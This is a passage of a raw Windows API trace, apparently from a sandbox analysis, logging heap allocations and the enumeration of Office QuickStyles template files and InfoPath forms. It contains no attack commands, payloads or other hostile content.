Flags=0x8, Size=0x100) returned 0x11b2580 [0078.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.097] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x2169, dwReserved0=0x0, dwReserved1=0x0, cFileName="Distinctive.dotx", cAlternateFileName="")) returned 1 [0078.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4ae8 [0078.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b2688 [0078.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3f40) returned 0xac31c0 [0078.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabf2b8) returned 1 [0078.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.098] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x222a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elegant.dotx", cAlternateFileName="")) returned 1 [0078.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4b08 [0078.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b2790 [0078.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.099] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x221b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy.dotx", cAlternateFileName="")) returned 1 [0078.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4b28 [0078.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b2898 [0078.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.099] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="Formal.dotx", cAlternateFileName="")) returned 1 [0078.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4b48 [0078.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b29a0 [0078.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.100] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x210c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manuscript.dotx", cAlternateFileName="")) returned 1 [0078.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4b68 [0078.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b2aa8 [0078.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.100] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e4b50b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x21ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modern.dotx", cAlternateFileName="")) returned 1 [0078.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4b88 [0078.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b2bb0 [0078.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.101] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744700, ftCreationTime.dwHighDateTime=0x1ca568e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2744700, ftLastWriteTime.dwHighDateTime=0x1ca568e, nFileSizeHigh=0x0, nFileSizeLow=0x8ce63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.dotx", cAlternateFileName="")) returned 1 [0078.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4ba8 [0078.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b2cb8 [0078.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.102] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744700, ftCreationTime.dwHighDateTime=0x1ca568e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2744700, ftLastWriteTime.dwHighDateTime=0x1ca568e, nFileSizeHigh=0x0, nFileSizeLow=0x5adf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.dotx", cAlternateFileName="")) returned 1 [0078.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4bc8 [0078.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b2dc0 [0078.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.102] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x20f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple.dotx", cAlternateFileName="")) returned 1 [0078.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4be8 [0078.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b2ec8 [0078.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.103] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744700, ftCreationTime.dwHighDateTime=0x1ca568e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2744700, ftLastWriteTime.dwHighDateTime=0x1ca568e, nFileSizeHigh=0x0, nFileSizeLow=0x5d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.dotx", cAlternateFileName="")) returned 1 [0078.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4c08 [0078.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b2fd0 [0078.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.104] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x21f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Traditional.dotx", cAlternateFileName="")) returned 1 [0078.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4c28 [0078.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b30d8 [0078.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.104] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x21f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Traditional.dotx", cAlternateFileName="")) returned 0 [0078.104] GetLastError () returned 0x12 [0078.104] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0078.104] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.104] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.105] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95af5900, ftCreationTime.dwHighDateTime=0x1c7e846, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95af5900, ftLastWriteTime.dwHighDateTime=0x1c7e846, nFileSizeHigh=0x0, nFileSizeLow=0x2387, dwReserved0=0x0, dwReserved1=0x0, cFileName="Classic.dotx", cAlternateFileName="")) returned 1 [0078.105] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x23e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default.dotx", cAlternateFileName="")) returned 1 [0078.105] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x20f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultBlackAndWhite.dotx", cAlternateFileName="")) returned 1 [0078.105] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x2169, dwReserved0=0x0, dwReserved1=0x0, cFileName="Distinctive.dotx", cAlternateFileName="")) returned 1 [0078.105] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x222a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elegant.dotx", cAlternateFileName="")) returned 1 [0078.105] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x221b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fancy.dotx", cAlternateFileName="")) returned 1 [0078.105] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="Formal.dotx", cAlternateFileName="")) returned 1 [0078.105] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e48ef50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x210c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manuscript.dotx", cAlternateFileName="")) returned 1 [0078.105] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e4b50b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x21ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modern.dotx", cAlternateFileName="")) returned 1 [0078.105] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744700, ftCreationTime.dwHighDateTime=0x1ca568e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2744700, ftLastWriteTime.dwHighDateTime=0x1ca568e, nFileSizeHigh=0x0, nFileSizeLow=0x8ce63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.dotx", cAlternateFileName="")) returned 1 [0078.105] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744700, ftCreationTime.dwHighDateTime=0x1ca568e, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2744700, ftLastWriteTime.dwHighDateTime=0x1ca568e, nFileSizeHigh=0x0, nFileSizeLow=0x5adf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.dotx", cAlternateFileName="")) returned 1 [0078.105] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x20f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple.dotx", cAlternateFileName="")) returned 1 [0078.105] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744700, ftCreationTime.dwHighDateTime=0x1ca568e, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2744700, ftLastWriteTime.dwHighDateTime=0x1ca568e, nFileSizeHigh=0x0, nFileSizeLow=0x5d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.dotx", cAlternateFileName="")) returned 1 [0078.105] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x21f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Traditional.dotx", cAlternateFileName="")) returned 1 [0078.105] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc418100, ftCreationTime.dwHighDateTime=0x1c6ea86, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc418100, ftLastWriteTime.dwHighDateTime=0x1c6ea86, nFileSizeHigh=0x0, nFileSizeLow=0x21f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Traditional.dotx", cAlternateFileName="")) returned 0 [0078.105] GetLastError () returned 0x12 [0078.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.105] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0078.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa9ad58) returned 1 [0078.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0078.106] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x39aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="")) returned 1 [0078.106] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63ed7300, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63ed7300, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x482d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReviewRouting_Review.xsn", cAlternateFileName="")) returned 1 [0078.106] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: 